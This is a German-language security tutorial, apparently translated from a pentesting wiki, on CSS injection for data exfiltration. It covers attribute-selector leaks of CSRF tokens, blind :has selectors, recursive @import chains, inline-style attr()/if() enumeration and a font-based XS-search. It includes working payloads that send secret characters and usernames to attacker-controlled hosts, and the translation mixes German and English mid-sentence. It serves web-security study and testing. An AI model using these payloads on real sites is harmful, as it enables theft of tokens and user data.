CSS Injection

Reading time: 25 minutes

CSS Injection

Attribute Selector

CSS-Selektoren werden so konstruiert, dass sie die Werte der name- und value-Attribute eines input-Elements abgleichen. Beginnt das value-Attribut des input-Elements mit einem bestimmten Zeichen, wird eine vordefinierte externe Ressource geladen:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Allerdings stößt dieser Ansatz bei versteckten input-Elementen (type="hidden") an eine Einschränkung, da versteckte Elemente keine Hintergründe laden.

Umgehung für versteckte Elemente

Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mithilfe des ~ general sibling combinator anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten input-Element folgen, wodurch das Hintergrundbild geladen wird:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet beschrieben. Sie können es hier ansehen.

Voraussetzungen für CSS Injection

Für die Wirksamkeit der CSS Injection müssen bestimmte Bedingungen erfüllt sein:

1. Payload Length: Der CSS Injection-Vektor muss ausreichend lange Payloads unterstützen, um die konstruierten Selektoren aufzunehmen.
2. CSS Re-evaluation: Sie sollten die Möglichkeit haben, die Seite zu framen (einzubetten), was notwendig ist, um die Neuauswertung von CSS mit neu generierten Payloads auszulösen.
3. External Resources: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Dies kann jedoch durch die Content Security Policy (CSP) der Seite eingeschränkt sein.

Blind Attribute Selector

Wie in diesem Beitrag erklärt ist es möglich, die Selektoren :has und :not zu kombinieren, um Inhalte selbst von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich innerhalb der Webseite befindet, die die CSS Injection lädt.
Es ist außerdem möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kombiniert man dies mit der folgenden @import-Technik, lässt sich eine große Menge an Informationen mittels CSS-Injection aus blinden Seiten mit blind-css-exfiltration.

@import

Die vorherige Technik hat einige Nachteile, prüfe die Voraussetzungen. Entweder musst du in der Lage sein, dem Opfer mehrere Links zu senden, oder du musst die verwundbare Seite per iframe einbetten können.

Es gibt jedoch eine weitere clevere Technik, die CSS @import nutzt, um die Effektivität zu steigern.

Dies wurde zuerst von Pepe Vila gezeigt und funktioniert so:

Anstatt dieselbe Seite immer wieder mit Dutzenden verschiedener payloads zu laden (wie bei der vorherigen Methode), werden wir die Seite nur einmal laden und sie lediglich mit einem import zum attackers server versehen (dies ist der payload, der an das Opfer gesendet werden soll):

@import url("//attacker.com:5001/start?");

1. The import is going to receive some CSS script from the attackers and the browser will load it.
2. The first part of the CSS script the attacker will send is another @import to the attackers server again.
3. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
4. The second and bigger part of the payload is going to be an attribute selector leakage payload
5. This will send to the attackers server the first char of the secret and the last one
6. Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
7. The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.

Der Angreifer wird folge dieser Schleife, bis es ihm gelingt, das Secret vollständig zu leak.

Du findest den ursprünglichen Pepe Vila's code to exploit this here oder du findest fast den same code but commented here.

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Dieses Primitive ermöglicht Exfiltration, indem nur das inline style-Attribut eines Elements verwendet wird, ohne Selektoren oder externe Stylesheets. Es beruht auf CSS custom properties, der attr()-Funktion zum Lesen von Attributen desselben Elements, den neuen CSS if()-Bedingungen für Verzweigungen und image-set(), um eine Netzwerk-Anfrage auszulösen, die den gematchten Wert enkodiert.

• Sink: Kontrolliere das style-Attribut eines Elements und stelle sicher, dass das Zielattribut am selben Element ist (attr() liest nur Attribute desselben Elements).
• Read: Kopiere das Attribut in eine CSS-Variable: --val: attr(title).
• Decide: Wähle eine URL mithilfe verschachtelter Bedingungen, die die Variable mit String-Kandidaten vergleichen: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
• Exfiltrate: Wende background: image-set(var(--steal)) (oder jede Eigenschaft, die eine Anfrage auslöst) an, um eine Anfrage an den gewählten Endpunkt zu erzwingen.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Funktionierender Payload (doppelte Anführungszeichen für den Vergleich erforderlich):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Aufzählen von Attributwerten mit verschachtelten Bedingungen:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Realistische Demo (Abfragen von Benutzernamen):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Hinweise und Einschränkungen:

• Funktioniert zum Zeitpunkt der Recherche in Chromium-basierten Browsern; das Verhalten kann in anderen Engines abweichen.
• Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Stehlen beliebig langer Strings ohne externe Stylesheets bleibt schwierig.
• Jede CSS-Eigenschaft, die eine URL abruft, kann verwendet werden, um die Anfrage auszulösen (z. B. background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action kann verschachtelte Inline-Style-Payloads generieren, um Attributwerte per Brute-Force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Andere Selektoren

Andere Möglichkeiten, auf Teile des DOM mit CSS selectors zuzugreifen:

• .class-to-search:nth-child(2): Dies sucht das zweite Element mit der Klasse "class-to-search" im DOM.
• :empty selector: Wird zum Beispiel in this writeup** verwendet:**

[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Fehlerbasierter XS-Search

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Die grundlegende Absicht ist, eine custom font von einem kontrollierten Endpoint zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') mit dieser Font angezeigt wird, nur wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

1. Benutzung einer benutzerdefinierten Schriftart:

• Eine benutzerdefinierte Schriftart wird mit der @font-face-Regel innerhalb eines <style>-Tags im <head>-Bereich definiert.
• Die Schriftart heißt poc und wird von einem externen Endpoint (http://attacker.com/?leak) geladen.
• Die Eigenschaft unicode-range ist auf U+0041 gesetzt und zielt auf das konkrete Unicode-Zeichen 'A'.